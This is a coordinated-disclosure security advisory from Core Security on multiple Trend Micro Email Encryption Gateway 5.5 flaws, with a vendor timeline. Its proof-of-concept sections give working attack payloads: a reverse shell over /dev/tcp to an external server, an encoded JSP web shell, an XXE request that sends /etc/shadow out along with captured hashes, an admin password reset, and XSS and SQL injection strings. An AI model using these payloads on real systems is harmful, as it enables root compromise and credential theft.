ID PACKETSTORM:146508 Type packetstorm Reporter Core Security Technologies Modified 2018-02-21T00:00:00
Description
`Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
Trend Micro Email Encryption Gateway Multiple Vulnerabilities
1. *Advisory Information*
Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities
Advisory ID: CORE-2017-0006
Advisory URL:
http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities
Date published: 2018-02-21
Date of last update: 2018-02-21
Vendors contacted: Trend Micro
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Cleartext Transmission of Sensitive Information [CWE-319],
External Control of File Name or Path [CWE-73], Insufficient
Verification of Data Authenticity [CWE-345], External Control of File
Name or Path [CWE-73], Missing Authentication for Critical Function
[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of
XML External Entity Reference [CWE-611], Improper Neutralization of
Input During Web Page Generation ('Cross-site Scripting') [CWE-79],
Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting') [CWE-79], Improper Neutralization of Input During Web Page
Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of
Special Elements used in an SQL Command [CWE-89], Improper
Neutralization of Special Elements used in an SQL Command [CWE-89],
Improper Neutralization of Special Elements used in an SQL Command
[CWE-89]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,
CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,
CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230
3. *Vulnerability Description*
Trend Micro's website states that:[1]
Encryption for Email Gateway is a Linux-based software solution providing
the ability to perform the encryption and decryption of email at the
corporate gateway, regardless of the email client, and the platform from
which it originated. The encryption and decryption of email on the TMEEG
client is controlled by a Policy Manager that enables an administrator
to configure policies based on various parameters, such as sender and
recipient email addresses, keywords, or PCI compliance. Encryption for
Email Gateway presents itself as an SMTP interface and delivers email
out over an SMTP to configured outbound MTAs. This enables easy
integration with other email server-based products, be them content
scanners, mail servers, or archiving solutions."
Multiple vulnerabilities were found in the Trend Micro Email Encryption
Gateway web console that would allow a remote unauthenticated attacker
to gain command execution as root.
We also present two additional vectors to achieve code execution from a
man-in-the-middle position.
4. *Vulnerable Packages*
. Trend Micro Email Encryption Gateway 5.5 (Build 1111.00)
Other products and versions might be affected, but they were not tested.
5. *Vendor Information, Solutions and Workarounds*
Trend Micro published the following Security Notes:
.
https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities
6. *Credits*
These vulnerabilities were discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from Core
Advisories Team.
7. *Technical Description / Proof of Concept Code*
Trend Micro Email Encryption Gateway includes a web console to perform
administrative tasks. Section 7.4 describes a vulnerability in this
console that can be exploited to gain command execution as root. The
vulnerable functionality is accessible only to authenticated users, but
it is possible to combine 7.4 with the vulnerability presented in
section 7.5 to bypass this restriction and therefore execute root
commands from the perspective of a remote unauthenticated attacker.
The application does also use an insecure update mechanism that allows
an attacker in a man-in-the-middle position to write arbitrary files and
install arbitrary RPM packages, leading to remote command execution as
the root user.
Additional Web application vulnerabilities were found, including
cross-site request forgery (7.6), XML external entity injection (7.7),
several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL
injection vulnerabilities (7.11, 7.12, 7.13).
7.1. *Insecure update via HTTP*
[CVE-2018-6219]
Communication to the update servers is unencrypted. The following URL is
fetched when the application checks for updates:
/-----
[Request #1]
http://downloads.privatepost.com/files/TMEEG/updates/data.html
-----/
The product expects to retrieve a plain-text file with the following
format:
/-----
[Version Info]
[Installation RPM file name]
[Path to release notes]
-----/
If a new update is found, then the RPM file is downloaded from the
following URL:
/-----
[Request #2]
http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM
file name]
-----/
This means that the product does not do any kind of certificate
validation or public key pinning, which makes it easier for an attacker
to eavesdrop and tamper the data.
7.2. *Arbitrary file write leading to command execution*
[CVE-2018-6220]
The following code snippet is responsible for downloading the update
file (com/identum/pmg/web/CheckForUpdates.java):
/-----
FileDownload fd = new FileDownload();
if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" +
rpmFileName)) {
return 10;
}
[...]
-----/
The rpmFileName variable is controlled by the attacker, as it is taken
from the aforementioned update file. As a consequence, the attacker
controls the path where the update file is going to be downloaded. The
RPM file is written by the root user with 0644 permissions. Being able
to write to the file system as root opens the door to several code
execution vectors on Linux machines.
In this PoC we present one vector which consist on creating a cron job
on /etc/cron.d directory.
The attacker can send the following response to [Request #1]:
/-----
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 23 May 2017 14:39:46 GMT
Connection: close
Content-Length: 26
5.7
../../../../../../../etc/cron.d/test
test.html
-----/
As a result, the server will create the file /etc/cron.d/test. Its
contents are also controlled by the attacker. When the update launches,
the appliance will download it from the following URL:
/-----
http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test
-----/
The attacker can tamper the server's response and inject arbitrary data,
such as a reverse shell payload:
/-----
* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1
-----/
gaining code execution upon exploitation:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
52171)
bash: no job control in this shell
[root@ localhost ~]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=user_u:system_r:unconfined_t
-----/
7.3. *Unvalidated software updates*
[CVE-2018-6221]
The update mechanism described in 7.2 does not validate the RPM file
downloaded.
An attacker in a man-in-the-middle position could tamper with the RPM
file and inject its own.
The following code snippet is responsible for installing the unvalidated
RPM (com/identum/pmg/web/CheckForUpdates.java):
/-----
try
{
System.out.println("running file:");
System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName);
Process process = Runtime.getRuntime().exec("rpm --upgrade
--nodeps /tmp/" + rpmFileName);
[..]
{
-----/
In the following Proof of Concept, we crafted a malicious RPM file that
executes a reverse shell once opened. This can be achieved by adding a
reverse shell script to %pre section of RPM's SPEC file, which is
executed previous to any installation step. As can be seen, this results
in code execution as root:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
40445)
bash: no job control in this shell
[root@ localhost /]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:rpm_script_t:SystemLow-SystemHigh
-----/
7.4. *Arbitrary logs location leading to command execution*
[CVE-2018-6222]
The location of the log files can be changed in the logConfiguration.do
page. MimeBuildServer logs are particularly interesting because its
contents can be controlled by an attacker.
The first step is to point the log file to the Web application root. The
following request redirects MimeBuildServer logs to
/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:
/-----
POST /logConfiguration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/logConfiguration.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback
-----/
The second step is to update the MimeBuilder configuration and insert
arbitrary JSP code. One candidate is the "Encrypted meeting request
email message" form.
/-----
POST /mimebuilderconfig.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/MimeBuilderConfig.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 2915
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback
-----/
The next time the service components are restarted, the log file will be
created with the desired JSP code.
With the sample JSP code from the previous request, the attacker would
then navigate to pepito.jsp and execute arbitrary commands as root:
/-----
https://[server]/pepito.jsp?cmd=id
Command: id
uid=0(root) gid=0(root) context=system_u:system_r:java_t
-----/
7.5. *Missing authentication for appliance registration*
[CVE-2018-6223]
The registration endpoint is provided for system administrators to
configure the virtual appliance upon deployment. However, this endpoint
remains accessible without authentication even after the appliance is
configured, which would allow attackers to set configuration parameters
such as the administrator username and password.
The following request changes the administrator password to "sombrero":
/-----
POST /register.jsp HTTP/1.1
Host: [server]
Content-Type: application/x-www-form-urlencoded
Content-Length: 414
action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain®Email=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero
-----/
Note that a valid activation code is required. This code can be easily
obtained by requesting a trial from Trend Micro's website.
7.6. *Lack of cross-site request forgery protection*
[CVE-2018-6224]
There are no Anti-CSRF tokens in any forms on the Web interface. This
would allow an attacker to submit authenticated requests when an
authenticated user browses an attacker-controlled domain.
This vulnerability can be chained with 7.4 and lead to remote command
execution. It could also be abused to force updates once the attacker is
in a man-in-the-middle position to exploit 7.2 or 7.3, which would also
lead to remote command execution.
The following proof of concept starts the check for updates process.
/-----
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://[server]/checkForUpdates.do">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-----/
7.7. *XML external entity injection in configuration.jsp*
[CVE-2018-6225]
The pciExceptionXml parameter of the configuration.jsp script is
vulnerable to XML external entity injection.
The following proof of concept uses external entities to send the
/etc/shadow file to an external server.
/-----
POST /configuration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 938
Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB
Connection: close
Upgrade-Insecure-Requests: 1
incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f>
<!DOCTYPE+roottag+[
+<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow">
+<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd">
%25dtd%3b]>
<ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d"true"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions>
-----/
The combine.dtd file is hosted on an external server, and its contents
are:
/-----
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM
'gopher://external_server:1080/?%file;'>">
%all;
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
49676)
root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7:::
bin:*:14089:0:99999:7:::
daemon:*:14089:0:99999:7:::
adm:*:14089:0:99999:7:::
lp:*:14089:0:99999:7:::
sync:*:14089:0:99999:7:::
shutdown:*:14089:0:99999:7:::
halt:*:14089:0:99999:7:::
mail:*:14089:0:99999:7:::
news:*:14089:0:99999:7:::
uucp:*:14089:0:99999:7:::
operator:*:14089:0:99999:7:::
games:*:14089:0:99999:7:::
gopher:*:14089:0:99999:7:::
ftp:*:14089:0:99999:7:::
nobody:*:14089:0:99999:7:::
rpm:!!:14089:0:99999:7:::
dbus:!!:14089:0:99999:7:::
exim:!!:14089:0:99999:7:::
nscd:!!:14089:0:99999:7:::
vcsa:!!:14089:0:99999:7:::
rpc:!!:14089:0:99999:7:::
sshd:!!:14089:0:99999:7:::
pcap:!!:14089:0:99999:7:::
haldaemon:!!:14089:0:99999:7:::
postgres:!!:14090::::::
tomcat:!!:14090:0:99999:7:::
xfs:!!:14179::::::
postfix:!!:14194::::::
-----/
These actions require the user to be authenticated within the Web
console, so an attacker would need to obtain valid credentials first.
Possible vectors to achieve this include exploiting any of the XSS
issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF
vulnerability described in 7.6.
7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*
[CVE-2018-6226]
The deniedKeysExpireTimeout and keyAge parameters of the
keymanserverconfig.jsp script are vulnerable to cross-site scripting.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback
-----/
7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*
[CVE-2018-6226]
The following parameters of the mimebuilderconfig.jsp script are
vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,
meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,
zdMainTemplate, zdMainTemplateZdv4.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
-----/
7.10. *Stored cross-site scripting in editPolicy.jsp*
[CVE-2018-6227]
The hidEmails parameter of the editPolicy.jsp script is vulnerable to
cross-site scripting.
The following request adds a policy for the email address
"<script>alert(1)</script>":
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1
-----/
The input will be stored unescaped and rendered every time the policies.do
script is executed.
Excerpt of the policies.do source showing the injected script tag:
/-----
<tr>
<td ondblclick="edit_policy(this);" style="border:solid 1px
#AAAAAA;background-color:#F5F5F5;cursor:move;"
onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);"
onmouseout="mouse_out(this);"
onmousemove="mouse_move(this, event);">Don't decrypt messages to
<script>alert(1)</script>
-----/
7.11. *SQL injection in policies.jsp*
[CVE-2018-6228]
The hidEditId parameter of the policies.jsp script is not sanitized,
leading to SQL injection.
As can be seen in the following excerpt, the script reads a parameter
named hidEditId and forwards it to the editPolicy.jsp script if it is
not set to -1.
From webapps/ROOT/policies.jsp:
/-----
<% if (request.getParameter("hidEditId") != null)
if (request.getParameter("hidEditId").compareTo("-1") != 0)
{
String hid_edit_id = request.getParameter("hidEditId");
%><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId"
value="<%= hid_edit_id %>"/></jsp:forward><%
}
[...]
-----/
The editPolicy.jsp script will pass this parameter without any
modification to the loadRuleDetails method, which is defined in the
formEditPolicy class
From webapps/ROOT/editPolicy.jsp:
/-----
if (request.getParameter("editRuleId") != null)
frm.loadRuleDetails(request.getParameter("editRuleId"));
[...]
-----/
Finally, the loadRuleDetails method will use the unsanitized parameter
it receives to build a dynamic SQL statement as follows:
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean loadRuleDetails(String ruleId)
{
_databaseError = false;
try
{
_ruleId = ruleId;
_ruleResultId = dataStore.getRuleResultId(ruleId);
_ruleForId = dataStore.getRuleForId(ruleId);
_ruleEmails = dataStore.getRuleAddreses(ruleId);
_ruleSubRules = dataStore.getSubRules(ruleId);
[...]
public String getRuleResultId(String ruleId) throws SQLException
{
Connection cnn = MySQLClient.GetInstance().GetConnection();
Statement query = cnn.createStatement();
String ruleResultId = "";
ResultSet rs = null;
try
{
rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine
WHERE Id = " + ruleId);
[...]
-----/
The contents of ruleId will be appended to the SELECT query, resulting
in a SQL injection.
The following PoC opens a policy to edit, even though the hidEditId
parameter is invalid. Due to the "always true" comparison, the first
element is retrieved:
/-----
POST /policies.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Referer: https://server/editPolicy.jsp
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
Upgrade-Insecure-Requests: 1
action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201
-----/
7.12. *SQL injection in editPolicy.jsp*
[CVE-2018-6229]
The hidRuleId parameter of the editPolicy.jsp script is not sanitized,
leading to SQL injection in a DELETE statement.
The following excerpt shows that the request object is forwarded to the
DeletePolicy method implemented in the formEditPolicy class.
From webapps/ROOT/editPolicy.jsp:
/-----
<% if (frm.isPostBack())
{
if (request.getParameter("hidDelete").compareTo("YES") == 0)
{
frm.DeletePolicy(request);
}
[...]
-----/
DeletePolicy reads the hidRuleId parameter and calls deletePolicy with
it, without doing any sanitization.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean DeletePolicy(HttpServletRequest request)
{
String ruleId = request.getParameter("hidRuleId");
boolean success = dataStore.deletePolicy(ruleId);
_databaseError = (!success);
return success;
}
-----/
Finally, the JPostgresDataHelper class uses the ruleId parameter to
build dynamic SQL statements, as can be seen in the following extract.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:
/-----
public boolean deletePolicy(String ruleId)
{
Connection cnn = null;
Statement query = null;
boolean bSuccess = true;
try
{
cnn = MySQLClient.GetInstance().GetConnection();
cnn.setAutoCommit(false);
query = cnn.createStatement();
query.executeUpdate("DELETE FROM RulesEmailIndex WHERE
RulesEngineId = " + ruleId);
query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId
= " + ruleId);
query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId);
[...]
-----/
The ruleId parameter will be appended as-is to the DELETE statements,
resulting in a SQL injection.
The following request will cause the RulesEmailIndex, SubRuleIndex, and
RulesEngine tables to be truncated:
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1
-----/
7.13. *SQL Injection in emailSearch.jsp*
[CVE-2018-6230]
The SearchString parameter of the emailSearch.jsp script is not
sanitized, leading to a SQL injection.
As can be seen in the following excerpt, the emailSearch.jsp script
reads a parameter named SearchString and calls the getResults method
defined in the wsEmailSearch class.
From webapps/ROOT/emailSearch.jsp:
/-----
if (session.getAttribute("UserName") != null)
{
response.setContentType("text/xml");
ws.setSearchParam(request.getParameter("SearchString"));
java.util.Vector res = ws.getResults();
[...]
-----/
The searchParam property is not sanitized before being used to build a
dynamic SQL query, resulting in a SQL injection in the SELECT statement.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:
/-----
public class wsEmailSearch
{
private String _searchParam = "";
public void setSearchParam(String searchParam) { _searchParam =
searchParam; }
public Vector getResults()
{
Vector res = new Vector();
Connection cnn = MySQLClient.GetInstance().GetConnection();
try
{
Statement query = cnn.createStatement();
ResultSet rs = query.executeQuery("SELECT address FROM
RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY
address");
[...]
-----/
The following proof of concept will cause all the e-mails on the
database to be retrieved:
/-----
POST /emailSearch.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: https://server/policies.jsp
Content-Length: 39
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
SearchString=' OR '%1%'='%1
-----/
8. *Report Timeline*
2017-06-05: Core Security sent an initial notification to Trend Micro,
including a draft advisory.
2017-06-05: Trend Micro confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
2017-06-22: Core Security asked for an update on the vulnerability
reported.
2017-06-22: Trend Micro answered saying the cases are still being vetted
and that they will commit a time when the solution is finalized.
2017-08-28: Core Security asked again for an update on the vulnerability
reported.
2017-08-28: Trend Micro answered saying the team is still in the process
of creating the official fix for the vulnerabilities, although there is
still no official release date.
2017-10-02: Core Security asked again for an update on the vulnerability
reported.
2017-10-02: Trend Micro answered saying the team are still finalizing
the fix to ensure all vulnerabilities are covered.
2017-11-13: Core Security asked again (4th time) for an ETA for the
official fix. We stated we need a release date or a thorough explanation
on why after five months there is still no date defined. If there is no
such answer we will be forced to publish the advisory.
2017-11-14: Trend Micro answered saying the team is still working on two
vulnerabilities and due to the complexity and number of vulnerabilities
overall found, their team requires more time.
2018-01-16: Core Security asked again (5th time) for an ETA for the
official fix.
2018-01-23: Trend Micro answered proposing the publication date to be
February 7th.
2018-01-24: Core Security thanked Trend Micro's answer and asked if all
the vulnerabilities reported in the advisory will be addressed. In
addition, Core Security asked for CVE-IDs.
2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be
addressed and notified Core Security they will send the CVE-IDs when
have these assigned. In addition, Trend Micro sent its new PGP key.
2018-01-29: Core Security thanked Trend Micro's confirmation and agreed
on the proposed release date.
2018-01-29: Trend Micro answered saying the team found a couple of
issues during the QA test. Consequently, Trend Micro asked for
additional time to fix the remaining vulnerabilities and required a
separated disclosure time.
2018-01-29: Core Security answered its intention to report all the
vulnerabilities in just one advisory and asked for a timeline for the fix.
2018-02-01: Core Security asked for an update on the remaining
vulnerabilities.
2018-02-02: Trend Micro sent an update and requested a week extension.
2018-02-02: Core Security thanked Trend Micro's update and agreed to
postpone the release.
2018-02-14: Trend Micro answered saying the remaining vulnerabilities
will not be addressed in the patch due to its complexity; therefore,
mitigation steeps will be recommending. Also, Trend Micro proposed
February 21 as the release date.
2018-02-14: Core Security thanked Trend Micro's update and agreed on the
proposed release date.
2018-02-21: Advisory CORE-2017-0006 published.
9. *References*
[1]
http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and context
needed to manage security risks across the enterprise. This shared
insight gives customers a comprehensive view of their security posture
to make better security remediation decisions. Better insight allows
